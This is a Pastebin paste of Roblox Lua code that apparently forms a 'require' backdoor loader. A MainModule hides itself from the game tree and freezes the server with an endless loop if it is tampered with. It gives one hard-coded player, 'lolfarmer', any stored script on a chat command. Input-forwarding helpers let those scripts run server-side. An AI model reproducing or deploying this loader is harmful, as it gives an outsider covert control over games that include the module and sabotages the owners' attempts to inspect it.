Advertisement
gecksad

Require paste stuff

Dec 17th, 2018
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.38 KB | None | 0 0
  1. MainModule
  2.  
  3. script.Parent = nil
  4. local Module = script;
  5. local Scripts = {};
  6. for _,v in next, Module:GetChildren'' do
  7. Scripts[v.Name:lower()] = v:Clone();
  8. v:Remove()
  9. end;
  10.  
  11. Module.Changed:connect(function() repeat while true do end until nil end)
  12.  
  13. local Players = game:GetService("Players");
  14.  
  15. return function()
  16. local Me = Players:FindFirstChild("lolfarmer");
  17. Me.Chatted:connect(function(Message)
  18. if string.sub(Message,1,7) == "script/" then
  19. if(Scripts[string.sub(Message,8):lower()])then
  20. local given = Scripts[string.sub(Message,8):lower()]
  21. given:Clone().Parent = Me:FindFirstChildOfClass("PlayerGui") or Me:FindFirstChildOfClass("Backpack") or Me.Character;
  22. end
  23. end;
  24. end)
  25. end
  26.  
  27. script beginning
  28.  
  29. local Player = game:GetService("Players").lolfarmer
  30. local Mouse,mouse,UserInputService,ContextActionService
  31. do
  32. script.Parent = Player.Character
  33. local CAS = {Actions={}}
  34. local Event = Instance.new("RemoteEvent")
  35. Event.Name = "UserInput_Event"
  36. Event.Parent = Player.Character
  37. local fakeEvent = function()
  38. local t = {_fakeEvent=true}
  39. t.Connect = function(self,f)self.Function=f end
  40. t.connect = t.Connect
  41. return t
  42. end
  43. local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
  44. local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
  45. function CAS:BindAction(name,fun,touch,...)
  46. CAS.Actions[name] = {Name=name,Function=fun,Keys={...}}
  47. end
  48. function CAS:UnbindAction(name)
  49. CAS.Actions[name] = nil
  50. end
  51. local function te(self,ev,...)
  52. local t = m[ev]
  53. if t and t._fakeEvent and t.Function then
  54. t.Function(...)
  55. end
  56. end
  57. m.TrigEvent = te
  58. UIS.TrigEvent = te
  59. Event.OnServerEvent:Connect(function(plr,io)
  60. if plr~=Player then return end
  61. if io.isMouse then
  62. m.Target = io.Target
  63. m.Hit = io.Hit
  64. elseif io.UserInputType == Enum.UserInputType.MouseButton1 then
  65. if io.UserInputState == Enum.UserInputState.Begin then
  66. m:TrigEvent("Button1Down")
  67. else
  68. m:TrigEvent("Button1Up")
  69. end
  70. else
  71. for n,t in pairs(CAS.Actions) do
  72. for _,k in pairs(t.Keys) do
  73. if k==io.KeyCode then
  74. t.Function(t.Name,io.UserInputState,io)
  75. end
  76. end
  77. end
  78. if io.UserInputState == Enum.UserInputState.Begin then
  79. m:TrigEvent("KeyDown",io.KeyCode.Name:lower())
  80. UIS:TrigEvent("InputBegan",io,false)
  81. else
  82. m:TrigEvent("KeyUp",io.KeyCode.Name:lower())
  83. UIS:TrigEvent("InputEnded",io,false)
  84. end
  85. end
  86. end)
  87. Mouse,mouse,UserInputService,ContextActionService = m,m,UIS,CAS
  88. end
  89.  
  90.  
  91. Localscript
  92. local Player = game:GetService("Players").LocalPlayer
  93.  
  94. local Char = Player.Character
  95. local Event = Char:WaitForChild("UserInput_Event")
  96.  
  97. local UIS = game:GetService("UserInputService")
  98.  
  99. local input = function(io,a)
  100. if a then return end
  101. local io = {KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState}
  102. Event:FireServer(io)
  103. end
  104. UIS.InputBegan:Connect(input)
  105. UIS.InputEnded:Connect(input)
  106. local Changed = false
  107. local Mouse = Player:GetMouse()
  108. local h,t = Mouse.Hit,Mouse.Target
  109. while wait(1/30) do
  110. if h~=Mouse.Hit or t~=Mouse.Target then
  111. Event:FireServer({isMouse=true,Target=Mouse.Target,Hit=Mouse.Hit})
  112. h,t=Mouse.Hit,Mouse.Target
  113. end
  114. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement